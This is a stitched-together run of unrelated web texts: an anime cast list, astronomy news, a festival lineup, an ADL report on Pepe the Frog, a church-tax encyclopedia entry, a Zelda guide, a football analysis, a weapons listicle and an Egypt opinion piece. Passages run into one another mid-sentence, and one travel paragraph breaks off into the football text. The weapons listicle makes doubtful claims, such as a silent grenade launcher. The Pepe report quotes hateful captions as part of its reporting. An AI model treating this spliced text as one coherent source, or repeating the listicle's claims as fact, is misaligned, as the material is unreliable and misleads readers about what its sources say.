Honoka Voiced by: Kumiko Watanabe (Japanese); Carrie Savage (English) Honoka is a village girl who was traded to the Shikimoribito by the Nobuseri after they destroyed her village. In truth, she is a spy for the Nobuseri, who desire to control the Shikimoribito's power cells. If she is not compliant with the Nobuseri's wishes, they claim they will kill her little sister, Mizuki. However, when discovered, rather than be killed as Heihachi wanted, Kambei spares her and promises to restore Mizuki to her.
Sanae Voiced by: Yuu Asakawa (Japanese); Clarine Harp (English) Rikichi's wife. She gave herself willingly to the bandits to save Kanna village. Kirara discovers from the bandits that Sanae and other "choice" girls that they abduct are sent to the capital. Later on she becomes pregnant with Amanushi's child (clone) and refuses to leave with Kambei proclaiming that she is in love with the Emperor. Sanae believes the Emperor is misunderstood while Honoka and the other women believe she's been brainwashed. She is later informed about the loss of the baby, which devastates her, as she believes she killed the baby which was caused by the stress and grief over the Emperor's death. She begins to sob and apologize to the Emperor and later says that "she will pray for the souls of the Emperor and their [our] baby for the rest of her [my] life." Kambei stated that the look in Sanae's eyes were "sincere love for the Emperor." After she's rescued, Sanae refuses to see Rikichi either out of shame or the fact that she still loves the Emperor. In the very last episode she is seen taking over her husband's spot in the rice fields. It is possible she might have suffered from Stockholm Syndrome.
Mizuki Voiced by: Chiaki Osawa (Japanese); Laura Bailey (English) Honoka's little sister who is revealed to be Sanae's attendant in the Capital, rather than the Nobuseri's hostage.
Koharu Voiced by: Mio Morisawa (Japanese); Caitlin Glass (English)
Chiaki Voiced by: Tadahori Moriya (Japanese); Lucy Small (English)
Theme songs [ edit ]
Opening: "Unlimited" by Nanase Aikawa
Closing: "Fuhen" ( Ubiquity ) by Rin'
) by Rin' Opening NHK TV Version: "Justice" by Coming Century (V6)
Closing NHK TV Version: "Niji Musubi" (Tying Rainbow) by Rin'From the far reaches of space, astronomers brought two colliding galaxies into sharp focus by patching together images from several powerful telescopes. That, and the luck of a rare "galactic lens."
"While astronomers are often limited by the power of their telescopes, in some cases our ability to see detail is hugely boosted by natural lenses created by the Universe," the lead researcher, Hugo Messias, explained in a press release.
A giant, heavy object bends light from objects behind it due to its strong gravity - an effect called gravitational lensing. Astronomers can study objects through such a cosmic magnifying glass that would otherwise be invisible. But for a gravitational lens to work, the foreground lensing object - in this case a galaxy - and the one beyond it need to be precisely aligned.
That's what happened in this rare instance.
Using gravitational lensing, ALMA, the VLA, and many other telescopes obtained the best view yet of a collision that took place between two galaxies when the Universe was only half its current age. The foreground galaxy is doing the lensing and around it is an almost complete ring -- the smeared out image of a star-forming galaxy merger far beyond. This picture combines the views from the Hubble Space Telescope and the Keck-II telescope on Hawaii (using adaptive optics). ESO/NASA/ESA/W.M. Keck Observatory
"These chance alignments are quite rare and tend to be hard to identify," said Messias, of the Universidad de Concepción in Chile and the Universidade de Lisboa in Portugal. But by combining the images of telescopes that use different wavelengths of light "we can find these cases much more efficiently."
The colliding galaxies, officially designated HATLAS J142935.3-002836 (or H1429-0028 for short) are among the brightest gravitationally lensed objects ever observed, the researchers say.
Astronomers were able to generate even more detailed images by combining observations from the Hubble Space Telescope, Atacama Large Millimeter/submillimeter Array (ALMA), the Karl G. Jansky Very Large Array (VLA), the Keck Observatory, and other telescopes.
The foreground galaxy is doing the lensing and around it is an almost complete ring -- the smeared out image of a star-forming galaxy merger far beyond. This picture combines the views from the Hubble Space Telescope and the Keck-II telescope on Hawaii (using adaptive optics) along with the ALMA images shown in red. The ALMA data also give information about the motions of the material in the distant merging galaxies and were vital in unravelling the complex object. ESO, ALMA (NRAO/ESO/NAOJ); W.M. Keck Observatory; NASA/ESA
The astronomers released videos illustrating their findings (seen above). First the viewer zooms through space to locate the colliding and merging galaxies, and then we see how gravitational lensing magnifies and brightens distant objects.Following today’s Supreme Court decision upholding the University of Texas’ admissions policies, Hillary Clinton issued the following statement:
“The Supreme Court’s decision today in Fisher v. University of Texas is a win for all Americans. It means that universities can continue to make diversity and inclusion central goals of their admissions processes, and means our college campuses will continue to be places where young adults of all backgrounds can learn from each other.
“Having a student body with diverse experiences and perspectives breaks down barriers, enriches academia, and prepares our young people to be leaders and citizens in our increasingly diverse country. We need to guarantee that the doors to higher education are open not just to some, but to all—and that we are giving students equal opportunities to succeed and thrive. Today’s Supreme Court decision affirms a basic truth about our country: we are stronger together.”Photo by Paul Ker
This summer lineup for the BRIC Celebrate Brooklyn! Festival was just announced, and it's jam-packed with free shows, benefit concerts, and eclectic film screenings. The season-long fest, once named by this website as a reason that Brooklyn lives up to its hype, kicks off June 7th in Prospect Park, with multiple events per week scheduled through August 12th.
In that time, the Prospect Park bandshell will play host to a wide-array of free ($5 suggested donation) and ticketed events, including performances from Andrew Bird, Sufjan Stevens, Talib Kweli, Conor Oberst, and Sylvan Esso. Fleet Foxes and The Shins will also play the park, though those two benefits are already sold out.
According to the announcement: "Of the 31 total performances being presented this season, 25 are free (with a $5 suggested contribution at the gate): 20 music concerts, three Music & Movies performance events in which live music accompanies films projected on NYC's largest (50' wide x 21' high) outdoor screen, and two dance performances. The remaining six shows are ticketed benefit concerts."
BRIC CELEBRATE BROOKLYN! FESTIVAL 2017 LINEUP
WEDNESDAY, JUNE 7, 8:00 P.M.
Opening Night Concert
LAKE STREET DIVE
FREE
SATURDAY, JUNE 10, 7:00 P.M.
ALICE SMITH | BILAL | KRIS BOWERS
FREE
THURSDAY, JUNE 15, 7:00 P.M.
THE SHINS
BRIC Celebrate Brooklyn! Festival Benefit Concert
SOLD OUT
SATURDAY, JUNE 17, 3:00 P.M.
Family Concert
LISA LOEB with THE KNIGHTS
FREE
THURSDAY, JUNE 22, 7:00 P.M.
YEASAYER | POLIÇA | CYMBALS EAT GUITARS
FREE
FRIDAY, JUNE 23, 7:30 P.M.
American Express Series
PHAROAH SANDERS | BROOKLYN RAGA MASSIVE: COLTRANE TRIBUTE
FREE
SATURDAY, JUNE 24, 7:00 P.M.
Bud Light Music Series
THE SOUL REBELS featuring TALIB KWELI | PHAROAHE MONCH & KIRK KNIGHT | GOAPELE | NATASHA DIGGS OF #SOULINTHEHORN
FREE
THURSDAY, JUNE 29, 7:30 P.M.
LILA DOWNS | ORKESTA MENDOZA
FREE
FRIDAY, JUNE 30, 8:00 P.M.
GARTH FAGAN DANCE
FREE
THURSDAY, JULY 6, 8:00 P.M.
PILOBOLUS
FREE
FRIDAY, JULY 7, 7:30 P.M.
MUSIQ SOULCHILD | PEOPLE'S CHAMPS
FREE
SATURDAY, JULY 8, 7:00 P.M.
Bud Light Music Series
CHRONIXX | CHOP & QUENCH | LAOLU NYC
FREE
THURSDAY, JULY 13, 7:30 P.M.
Bud Light Music Series
ROBERT RANDOLPH & THE FAMILY BAND | ERIC KRASNO
FREE
FRIDAY, JULY 14, 7:00 P.M.
Bud Light Music Series
QUANTIC (LIVE) | TEI SHI | ÁLEX ANWANDTER
FREE
SATURDAY, JULY 15, 7:30 P.M.
BEN L'ONCLE SOUL | SWEET CRUDE
FREE
TUESDAY, JULY 18, 7:00 P.M.
SUFJAN STEVENS, NICO MUHLY, BRYCE DESSNER & JAMES MCALISTER: PLANETARIUM
BRIC Celebrate Brooklyn! Festival Benefit Concert
$50 advance /
THURSDAY, JULY 20, 7:00 P.M.
CONOR OBERST | HOP ALONG | BIG THIEF
BRIC Celebrate Brooklyn! Festival Benefit Concert
$40.50 advance / $46 day of show
FRIDAY, JULY 21, 7:30 P.M.
AMADOU & MARIAM | INNOV GNAWA | AHMED GALLAB DJ SET
FREE
SATURDAY, JULY 22, 7:00 P.M.
MASHROU' LEILA | DAWN OF MIDI | DJ KHATIR
FREE
WEDNESDAY, JULY 26, 7:30 P.M.
SYLVAN ESSO | MIDDLE KIDS
BRIC Celebrate Brooklyn! Festival Benefit Concert
$35 advance
THURSDAY, JULY 27, 7:30 P.M.
Music & Movies
MACISTE ALL'INFERNO with live score by SEXMOB | REVEREND BILLY & THE STOP SHOPPING CHOIR
FREE
FRIDAY, JULY 28, 7:30 P.M.
American Express Series
ANDREW BIRD | ESPERANZA SPALDING
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ADMIRAL T | TABOU COMBO | DJ SPIKE T.I.
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TUESDAY, AUGUST 1, 7:00 P.M.
FLEET FOXES
BRIC Celebrate Brooklyn! Festival Benefit Concert
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FLEET FOXES
BRIC Celebrate Brooklyn! Festival Benefit Concert
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BÉLA FLECK & THE FLECKTONES | NELLIE McKAY
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CREED with live score by WORDLESS MUSIC ORCHESTRA | FRANK HAYE & THE BROOKLYN
INTERDENOMINATIONAL CHOIR
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NELS CLINE: LOVERS | SAM AMIDON
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SELMA with live score by JASON MORAN & WORDLESS MUSIC ORCHESTRA | BROOKLYN UNITED
MARCHING BAND
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WHITNEY | WEYES BLOOD | MOSES SUMNEY
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YOUSSOU N'DOUR | YACOUBA SISSOKO
FREEADL The ADL's decision follows the cartoon character being given racist and anti-Semitic characteristics by online users.
Pepe the frog, a cartoon character that has long been used as a popular internet meme, has been declared a hate symbol by the Anti-Defamation League (ADL) after its increased use by anti-Semites and white supremacists.
The initially innocuous character joined the ranks of the Swastika, Confederate Flag, Aryan Fist following its induction on Monday. The ADL created the “Hate on Display” database of racist terms and imagery in 2000.
Though exactly how Pepe turned from a goofy-faced drawing into a hate-mongering symbol is widely contested, many agree that internet users have simply taken advantage of the meme’s popularity as a means to make bigotry mainstream.
“Once again, racists and haters have taken a popular Internet meme and twisted it for their own purposes of spreading bigotry and harassing users,” said ADL CEO Jonathan A. Greenblatt in a statement. “These anti-Semites have no shame. They are abusing the image of a cartoon character, one that might at first seem appealing, to harass and spread hatred on social media.”
ADL Pepe the Frog joins a list of images, several pictured here, that have been declared hate symbols by the Anti-Defamation League.
Pepe didn’t always have such a bad rap. He first appeared online in 2005 as a character in the “Boy’s Club” comic series, according to website Know Your Meme.
Over time, internet users began adding “feels good man” tagline to the image ― a reference to a scene in which Pepe relieves himself in the restroom. Users have also depicted him as Angry Pepe and Smug Frog. Eventually, people began altering the frog’s appearance to include racist and bigoted characteristics on websites like Reddit, 4chan, and 8chan ― all sites where users can post anonymously.
Pepe has been depicted as a Nazi soldier, a smiling Jew watching the World Trade Centers collapse, Hitler and a KKK member. Other images depict the frog with the caption “kill Jews man.”
Matt Furie Pepe the Frog is likely not feeling so good after the Anti-Defamation League declared on Monday that the green cartoon character is now a symbol of hate.
Pepe’s creator, artist Matt Furie, spoke with The Huffington Post earlier this month about the meme’s popularity this election. He called the frog’s newfound reputation unfortunate.
“Maybe someday he’ll be a symbol for peace and love and brotherhood,” he told The Huffington Post, prior to the ADL’s announcement.
Richard B. Spencer, the founder of the white nationalist group Alternative Right or Alt-Right, said the Pepe meme has come to represent the current mood of the Alt-Right.
“I think if I were to describe what people know about the Alt-Right, it’s probably some things they’ve seen online. It’s the Pepe memes it’s the parentheses, it’s the take-no-prisoners attitude on places like Twitter and things like that,” he said at a Sept. 16 meeting.
Spencer, who is also the president of the white nationalist think tank the National Policy Institute, went on to directly describe Pepe as “someone who is willing to speak the truth.”
Many people who have shared Pepe’s image, however, have apparently been ignorant ― by choice or otherwise ― to its increasing negative connotation.
Prior to Spencer’s statements, Donald Trump Jr. controversially shared a photo in which Pepe stands with Trump Jr., his father and several other men whose faces were superimposed on characters from the movie “The Expendables.” Its banner “The Deplorables,” was a mockery of Hilary Clinton’s comments that Trump’s supporters belonged in a “basket of deplorables.”
Trump Jr. joked in the post of having “made the cut” and wrote that he was “honored” to be among his father’s supporters.
A blog post on Hillary Clinton’s website criticized Trump Jr. for using the cartoon, calling it a “a symbol associated with white supremacy.”
“That cartoon frog is more sinister than you might realize,” wrote Elizabeth Chan, a senior strategist for the Clinton campaign. “In recent months, Pepe’s been almost entirely co-opted by the white supremacists.”
Trump Jr. later denied knowing that the cartoon frog had such a hateful alter ego.
“I’ve never even heard of Pepe the Frog. I mean, I bet 90 percent of your viewers have never heard of Pepe the Frog,” he told ABC News. “I thought it was a frog in a wig. I thought it was funny. I had no idea there was any connotation there.”Hi. We recently created AFH TV, Ambrosia For Heads’ streaming video service, because we believe real Hip-Hop deserves its own dedicated TV home, but we need your help to make it great. Please subscribe to AFH TV. It is only $1.99/month or $12/year, and already features some amazing content, but the best is yet to come. Thank you for all of your support.
Hi. We recently created AFH TV, Ambrosia For Heads’ streaming video service, because we believe real Hip-Hop deserves its own dedicated TV home, but we need your help to make it great. Please subscribe to AFH TV. It is only $1.99/month or $12/year, and already features some amazing content, but the best is yet to come. Thank you for all of your support.
Tonight may be the most critical moment in “Finding The GOAT” to date. In the second of two Final 4 match-ups, Tupac Shakur and Rakim have see-sawed since the battle began Monday (May 18). The debate, running strong on Facebook, has bled onto Twitter, and certainly has occurred offline to boot. At present, Tupac Shakur leads Rakim by just over 1%, after Rakim re-took the lead earlier today. But, that can all change in a matter of minutes. Even as more votes come piling in, it’s still less than a 1% margin that may decide what’s taken nearly a year to establish.
Ending at 11:59pm EST tonight (May 20), the closing votes not “may” but WILL decide who faces Eminem in the championship round. Em’, deeply influenced by Rakim (and an Aftermath label-mate for a brief stint) is also profusely inspired by the music of ‘Pac, whose posthumous work he tirelessly produced at the height of his stardom.
Do these MCs have different chances against Eminem? Before that even comes into play, you’d better make sure not only have you voted, but that you’ve rallied the troops for the MC you believe to be most deserving. This one may be a photo-finish.
Related: Finding The GOAT (Final 4): Rakim vs. Tupac…Who You Got?TEHRAN — The first news report, to a nation usually kept in the dark about military matters, was shocking: 13 Iranian soldiers, all with links to the Islamic Revolutionary Guards Corps, had been killed in an ambush near the Syrian city of Aleppo. What followed this spring may have been even more surprising. Details about the soldiers appeared extensively in the Iranian news media, which not only gave the names of the dead but lionized them with sweeping life stories. Poster-size portraits were plastered all over their hometowns.
For years, Iran covered up its military activities in Syria and Iraq, so the government could deny any official involvement on the ground. Coffins arrived with the bodies of soldiers who went unidentified, referred to only as “defenders of the shrines” of the Shiite saints. When the bodies began to come home in larger numbers, the state news media began calling them “volunteers.”
No longer. Now every Iranian killed in action is named, his picture published, his valor lauded in elaborate tributes in the hard-line news media and on Instagram accounts dedicated to the fighters. The reason for the change, analysts say, is not some newfound dedication to transparency but a rift between the Iranian establishment’s hard-liners, who control the military, and the moderates.A church tax is a tax imposed on members of some religious congregations in Austria, Denmark, Finland, Germany, Iceland, Italy, Sweden, some parts of Switzerland and several other countries.
Austria [ edit ]
Every recognized religious group in Austria can collect church tax at a rate of 1.1%, though currently only the Catholic Church makes use of that opportunity. Church tax is compulsory for Catholics in Austria. This tax was introduced by Adolf Hitler in 1939. After World War II, the tax was retained in order to keep the Church independent of political powers.[1]
Croatia [ edit ]
The Roman Catholic Church in Croatia receives significant state financial support and other benefits established in concordats between the Government and the Vatican. By these concordats between the Holy See and the Republic of Croatia, Croatia finances the salaries and pensions of clergy and the running of church schools and universities, and it maintains and restores church sacral objects and buildings.
Percentage-wise, about 0.46% of state budget ends up funding activities of the Roman Catholic Church in Croatia.[citation needed]
Denmark [ edit ]
The members of the national Church of Denmark pay a so-called church tax ("kirkeskat"), which varies among municipalities with a minimum of 0.4% and a maximum of 1.3% of taxable income in 2019.[2] The tax is generally around 0.7% of taxable income,[3] The collection of the church tax is administered by the Danish tax authorities, but the church tax is not considered as a genuine tax by e.g. Statistics Denmark, but as a "voluntary transfer from households to the state".[4] The church tax does not cover the entire budget of the Church of Denmark. An additional 9% is paid by the government. This means that also people who are not members of the Church of Denmark finance its activities through taxes.[5]
Finland [ edit ]
All members of either the Evangelical Lutheran Church of Finland and the Finnish Orthodox Church (the two state churches of Finland) pay an income-based church tax of between 1% and 2%, depending on the municipality. On average the tax is about 1.4%.
Formerly, to stop paying church tax, one had to formally leave the church by personally going to local register office and waiting during an allowance of time for reflection. This requirement was removed in 2003 and currently a written (but not signed) statement to the church suffices. The majority of resignations since 2005 are now handled through a web site, Eroakirkosta.fi. If one is a member of the church when the year begins, he/she will pay taxes for the whole year. Studies show that church membership resignations in Finland are mainly due to the general secularization of society, not because of tax avoidance.[6]
In addition to personal taxation, the state divides some of the money collected by taxing private companies to the two state churches. It does not matter if company is owned by church members or non-members. It has been argued that the churches use this money to upkeep cemeteries, to which they are obligated by law.
Germany [ edit ]
About 70% of church revenues come from church tax (Kirchensteuer), also called worship tax (Kultussteuer) when referring to non-Christian religious bodies such as Jewish synagogues. This is about €9.2 billion (in 2010).
Article 137 of the Weimar Constitution of 1919 and article 140 of the German Basic Law of 1949 form the legal bases for this practice.
In Germany, on the basis of tax regulations passed by the religious communities and within the limits set by state laws, communities may either
require the taxation authorities of the state to collect the fees from the members on the basis of income tax assessment (then, the authorities withhold a collection fee), or
choose to collect the church tax themselves.
In the first case, membership in the religious community is stored in a database at the Federal Tax Office which employers receive excerpts of for the purpose of withholding tax on paid income. If an employee's data indicate membership in a tax-collecting religious community, the employer must withhold church tax prepayments from their income in addition to other tax prepayments. In connection with the final annual income tax assessment, the state revenue authorities also finally assess the church tax owed. In the case of self-employed persons or of unemployed taxpayers, state revenue authorities collect prepayments on the church tax together with prepayments on the income tax.
If, however, religious communities choose to collect church tax themselves, they may demand that the tax authorities reveal taxation data of their members to calculate the contributions and prepayments owed. In particular, some smaller communities (e.g., the Jewish Community of Berlin) choose to collect taxes themselves to save collection fees the government would charge otherwise.
Collection of church tax may be used to cover any church-related expenses such as funding institutions and foundations or paying ministers.
The church tax is only paid by members of the respective church. People who are not members of a church tax-collecting denomination do not have to pay it. Members of a religious community under public law may formally declare their wish to leave the community to state (not religious) authorities. The obligation to pay church taxes ends once such a declaration has been made. Some communities refuse to administer marriages and burials of (former) members who had declared to leave it.
The money flow of state and churches is distinct at all levels of the procedures. The church tax is not meant to be a way for the state to directly support churches, but since expenses for church tax are fully deductible (as are voluntary expenses for the Church, for charity or a bundle of other privileged aims) in fact such support occurs on a somewhat large scale. The effort of collecting itself, done by the State, is entirely paid for by the Churches with a part of the tax income.
The church tax is historically rooted in the pre-Christian Germanic custom where the chief of the tribe was directly responsible for the maintenance of priests and religious groups. During the Christianization of Western Europe, this custom was adopted by the Christian churches (Arian and Catholic) in the concept of "Eigenkirchen" (churches owned by the landlord) which stood in strong contrast to the central church organization of the Roman Catholic Church. Despite the resulting medieval conflict between emperor and pope, the concept of church maintenance by the ruler remained the accepted custom in most Western European countries. In Reformation times, the local princes in Germany became officially heads of the church in Protestant areas and were legally responsible for the maintenance of churches. Not until the 19th century, were the finances of churches and state regulated to a point where the churches became financially independent. At this point, the church tax was introduced to replace the state benefits the churches had obtained previously.
The church tax was reaffirmed in Article 13 of the Reichskonkordat[7] between Nazi Germany and the Vatican, where it is understood that the right of the Church to levy taxes is guaranteed. Taxpayers, whether Roman Catholic, Protestant or members of other tax-collecting communities, pay an amount equal to between 8% (in Bavaria and Baden-Württemberg) and 9% (in the rest of the country) of their income tax to the church or other community to which they belong.[8]
For example, a single person earning €50,000 may pay an average income-tax of 20%, thus €10,000. The church tax is then an additional 8% (or 9%) of that €10,000 (€800 or €900) for a total of €10,800 or €10,900 in taxes.[9]
In 2017, Germany’s Catholic church recorded approximately €6 billion split across its 27 different dioceses, also known as church districts. This is in spite of the massive dip in attendance. According to the national German newspaper Handelsblatt, church attendance has dropped by more than 2.2 million attendees since the start millennium. Contrasted to 50 years prior, where attendance totaled over 11 million, the numbers are now a mere 2.5 million Catholics. The German Church also has a total fortune of at least €20 billion. The three highest profiting dioceses are Paderborn, at €3.5 billion, Munich at €2.8 billion, and Cologne at €2.6 billion. Despite the extreme success of this bill on forcing tax payment, many citizens still find ways to stay away from paying for it. When moving to Germany, one must fill out a form declaring religious affiliation and denomination. One can also manage to opt out of the tax at a later date, if they are a non-practicing member of their faith. This has led to many people declaring they have abandoned the religion of their birth. There is currently no data available regarding what proportion of those making such a declaration have in fact abandoned their religion, or whether they make the claim only to avoid paying the tax.
Iceland [ edit ]
Taxpayers in Iceland who belong to an officially registered religious group or secular humanist organization[10] must pay a congregation tax (Icelandic: sóknargjald, plural sóknargjöld)[11] which is deducted from income taxes and goes to the individual's respective organization.[10] In the past, the sóknargjald of those who do not belong to any recognized religious organization went to the University of Iceland,[12] but this was changed in 2009.[13] In cases of individuals not belonging to a registered religious group or secular humanist organization, the amount that would otherwise be used for the sóknargjald remains now part of the income tax budget. In 2015, the monthly sóknargjald amounted to 824 Icelandic krónur.[11]
The Church of Iceland receives governmental support beyond the congregation taxes paid by its members.
Italy [ edit ]
Taxpayers in Italy pay a mandatory eight per thousand tax, and have the option to choose to whom they will assign the monies. This tax amounts to 0.8% of the total income tax (IRPEF) and every taxpayer can choose the recipient of the contribution on their tax form. Regardless of whether the taxpayer expresses a preference or not, the 0.8% is already included in their tax levy.
Currently the choices are:
If the choice is not expressly declared on the tax form, the tax is distributed according to the percentages of the taxpayers who have declared their choice of beneficiary. While it was intended that the state should use its own share of the 0.8% tax for social or cultural purposes, in practice it has employed it for general purposes including its military mission in Iraq in 2004[14][15] and the upgrading of prison infrastructure in 2011.[16]
Sweden [ edit ]
The members of Church of Sweden pay church fee, which varies between municipalities, but can be as much as 2%. Church and state are separated as of 2000; however, the burial tax (begravningsavgift) is paid by everyone regardless of membership.
In a recent[when?] development, the Swedish government has agreed to continue collecting from individual taxpayers the annual payment that has always gone to the church. But now the fee will be an optional checkoff box on the tax return. The government will allocate the money collected to Catholic, Muslim, Jewish and other faiths as well as the Lutherans, with each taxpayer directing where his or her taxes should go.
Switzerland [ edit ]
There is no official state church in Switzerland. However, all the 26 cantons (states) financially support at least one of the three traditional denominations – Roman Catholic, Old Catholic (in Switzerland Christ Catholic), or Evangelical Reformed – with funds collected through taxation. Each canton church tax may formally have to leave the church. In some cantons private companies are unable to avoid payment of the church tax.[17]
United States [ edit ]
In the United States, the Establishment Clause of the US Constitution prevents the US federal government and (through incorporation doctrine)[18] the 50 state governments from imposing church taxes. In 1947, the US Supreme Court ruled in Everson v. Board of Education that "No tax in any amount, large or small, can be levied to support any religious activities or institutions, whatever they may be called, or whatever form they may adopt to teach or practice religion."[19]
In the past, some states established state religions and imposed church taxes to provide financial support; indeed, after the ratification of the Bill of Rights, the Establishment Clause protected these state churches from interference by the US Congress.[citation needed] In Massachusetts and Connecticut, the Congregational church was tax supported.[20] In colonial South Carolina, the Anglican Church benefited from church taxes.[21]
See also [ edit ]Tingle's Outfit in LoZ:BotW. Part of the Expansion Pass DLCs Pack 1
Tingle's Outfit is a new armor set from the Expansion pass DLC Pack 1 (The Master Trials) in the game The Legend of Zelda: Breath of the Wild.
Tingle Armor includes the following pieces:
Tingle's Hood - stats - Armor Level 2 -- Set Bonus: Night Speed up
Tingle's Shirt - stats - Armor Level 2 -- Set Bonus: Night Speed up
Tingle's Tights - stats - Armor Level 2 -- Set Bonus: Night Speed up
These pieces can be found in treasure chests.
None of these armor pieces can be enchanted.
Set Bonus [ edit ]
Night Speed-Up - Link's walking and running speed is boosted at night.
Tingle's Outfit Location [ edit ]
Hint: "The green garments of the man who wished to be a fairy are hidden in the ruins of Hyrule Field.
Find these pieces at the ruins where trade flourished...
at the ruins where sinners were imprisoned...
and at the village ruins next to farmland where many people once gathered."
Location #1 (Tingle's Hood): Exchange Ruins. You need to use Magnesis to pull the treasure chest out of the ground.
Location #2 (Tingle's Shirt): Castle Town Prison. There's a Guardian nearby. You need to use Magnesis to pull the treasure chest out of the ground.
Location #3 (Tingle's Tights): Mabe Village Ruins. It's underneath a Dead Guardian. You need to use Magnesis to pull the treasure chest out of the ground.
See screenshots and maps below for help finding the Tingle costume:
Location Screenshots [ edit ]
(click to enlarge)
Location #1
Tingle's Hood
Location #2
Tingle's Shirt
Location #3
Tingle's Tights
Maps [ edit ]
(click to enlarge)
Tingle's Hood Map
Tingle's Shirt Map
Tingle's Tights Map
Video Walkthrough [ edit ]
EX Treasure Fairy Clothes Tingle's Outfit Gameplay WalkthroughThe world around us is changing at a rate we’ve never previously experienced, with climate change and human activity reshaping whole regions. Extinction rates are on the increase, with many subjects of loved children’s books set to vanish from the wild within a generation.
As sad a prospect as this is, it is also something that travel companies are seeking to capitalise on. Since 2008 companies have |
Matteo Darmian were fielded in nominal full-back positions, but instructed to man-mark Hazard and Willian respectively, often ending up in front of their centre-backs, Chris Smalling and Marcos Rojo. In turn, this forced Antonio Valencia and Ashley Young – two natural wingers who have often found themselves deployed at full-back over the past couple of seasons – to track back and cover the space on the outside of Manchester United’s centre-backs.
The approach was typically Mourinho, about being flexible and determinedly nullifying key opposition players, but also somewhat of a throwback to the Sir Alex Ferguson days. United’s approach in the full-back positions was somewhat reminiscent of the way Gary Neville and Denis Irwin tucked inside to track Youri Djorkaeff and Roberto Baggio during their famous 2-0 victory over Internazionale on the way to winning the 1999 European Cup, for example. Introducing Jones to man-mark the opposition’s key player was also something Ferguson did regularly during his final campaign when he pinpointed a dangerous opponent: Everton’s Marouane Fellaini and Tottenham’s Gareth Bale inflicted United’s first two defeats of 2012-13, and in the return meetings found Jones tracking them all over the pitch.
In the opening stages Mourinho’s unusual defensive approach, combined with Paul Pogba and Ander Herrera shutting down N’Golo Kanté and Nemanja Matic quickly in midfield, caused Chelsea real problems. Chelsea’s back three struggled to find a positive forward pass, with every other player tracked comfortably. United’s pressing was impressive, they circulated the ball effectively, and played the majority of the first 15 minutes inside Chelsea’s half.
Conte’s side adapted impressively, however. Hazard and Willian realised they were under close scrutiny and started to vary their positions more dramatically, with Hazard drifting into midfield and Willian moving across into an inside-left role. United were still attempting to man-mark, but Jones and Darmian clearly felt uncomfortable crossing to the opposite side of the pitch, and often let their opponents run free. Willian showed some lovely touches in possession, particularly with a couple of backheels into the path of team-mates which quickened the tempo, while Hazard became the game’s key player.
The Belgian’s drifts inside meant he was no longer simply watched by Jones, but also by Herrera – who was dismissed for two fouls on Hazard, the first a body-check, the second a trip when Hazard typically spun quickly after receiving possession. Although Hazard was not literally the matchwinner, with Kanté’s second-half long-range strike proving the game’s only goal, it was his movement which ensured Chelsea’s passing improved dramatically, and his trickery which resulted in Herrera’s dismissal, the contest’s turning point.
José Mourinho hits back at Chelsea fans and Conte: ‘Judas is still No1’ Read more
Mourinho immediately summoned Fellaini in place of Henrikh Mkhitaryan, which meant Marcus Rashford was now extremely isolated as United’s formation appeared 6-2-1 when Chelsea retained possession for long periods. Pogba, who had started brightly, was eventually overshadowed by Kanté, but this was simply a reflection of Chelsea’s overall dominance. With David Luiz able to step forward and dictate play, Chelsea were in control and Chelsea continually piled pressure upon United’s massed defence.
Rashford was forced to fend for himself up front, and turned a David Luiz mistake into a fine goalscoring opportunity which forced Thibaut Courtois to save smartly. But Mourinho made little attempt to change things significantly – Jesse Lingard on for Young was his only second-half substitution, and former Chelsea playmaker Juan Mata did not get off the bench.
Mourinho may seek to replicate this plan for Chelsea’s trip to Old Trafford next month. One suspects, however, that Conte will have an alternative strategy of his own, and having increasingly used a 3-5-1-1 in the second half of matches recently, may start to use that system from the outset too.TOP 5 Most Technologically Sophisticated Weapons
Gadgets,Technology | Filed under Articles Posted by Ibrahim
Here are TOP 5 Most Technologically Sophisticated Weapons:-
1. Sniper Rifle Barrett MRAD:-
This is the most versatile and tech sniper rifle, which is the U.S. Army. It is built on a modular scheme, where each individual part can be replaced by another, better and better.Interchangeable barrel also allows you to change the caliber of the rifle. The rifle also features an incredibly long range shooting and a high penetrating power. All this makes Barrett MRAD the most technologically advanced and, thus, threatening small arms.
2. HK M320 Grenade Launcher:-
Powerful and versatile single-shot grenade launcher HK M320 can be attached to the American M4 rifles and M16. Allows you to shoot a high-explosive and illuminating and smoke rounds. Provides high accuracy by aiming a laser rangefinder. A special technology allows you to aim and maintain an effective fire even at night.
3. Multicharged M32 grenade:-
This monster is capable of semiautomatic fire six 40 mm grenades in less than three seconds. The design resembles a classic revolver grenade launcher with a drum, but increased several-fold. Despite the enormous firepower, firing a grenade launcher is absolutely silent. Also, M32 grenade shells can be charged with special cameras, which are fired into the air and slowly descending on a parachute, let you view the battlefield. Yet it can be recharged by light grenades to cover a large area at night.
4. Shotgun Beretta LTLX7000:-
The disadvantage is the lack of many shotguns accuracy when shooting at medium distances. Beretta LTLX7000 debunked the stereotype. Using a special holographic sight shotgun capable of conduct aimed fire at a distance of 250 meters without loss of penetrating power. Sufficient to specify the parameters sight distance at which you want to make a shot, after which will be calculated flight path of the fraction, and the arrow will be just aim and shoot
5. Grenade XM25:-
Last year, the grenade was a real Christmas present for American soldiers fighting in Afghanistan. XM25 is a holder of four 25 mm grenades, and can shoot them at a distance of half a mile. But the peculiarity of them is that they can be programmed to explode after a shot at a certain time, and each charge separately. Not surprisingly, this automaton soldiers nicknamed “The Punisher”. And to make it easier to target the soldiers, XM25 equipped with all sorts of sensors and a laser sight with the function of determining the distance.
Also See:-By Syed Zubair Ahmad,
On the ouster of the first democratically elected Egyptian president Dr. Mohammad Morsi everyone reacted in his own style. American president showed his concern and demanded release of Morsi at least. European Union told Egypt to set free Morsi and restore democracy in Egypt. UN chief requested the military to have patience. African Union suspended the membership of Egypt. Turkish Prime Minister called it a betrayal of the wishes of Egyptians and murder of democracy in Egypt. All of them reacted disapprovingly. But the very next day of coup, the King of Saudi Kingdom congratulated the Military general Abdul Fattah Al-Sisi for ousting President Morsi and putting him behind prison, and donated $1 billion to eliminate Muslim Brotherhood. The king was followed by other Monarchs and Sheikhs of Kingdoms and Sheikhdoms of the oil rich Gulf. Israeli Ambassador to Cairo declared Sisi a hero for the Jews all over the world. On 10th July Israel appealed to US to continue its $1.3 billion grant to Egypt. Thus we saw that along with the Zionist Israel, Kings, Monarchs and Sheikhs of Arab nations were standing against Morsi and MB. And along with the so called western champions of ‘democracy’ hypocrite Muslim rulers were also exposed. The hypocrisy of so called self proclaimed Khadimul Harmain Sharifain (better we call Khadimul Al-America and Israel) was exposed completely.
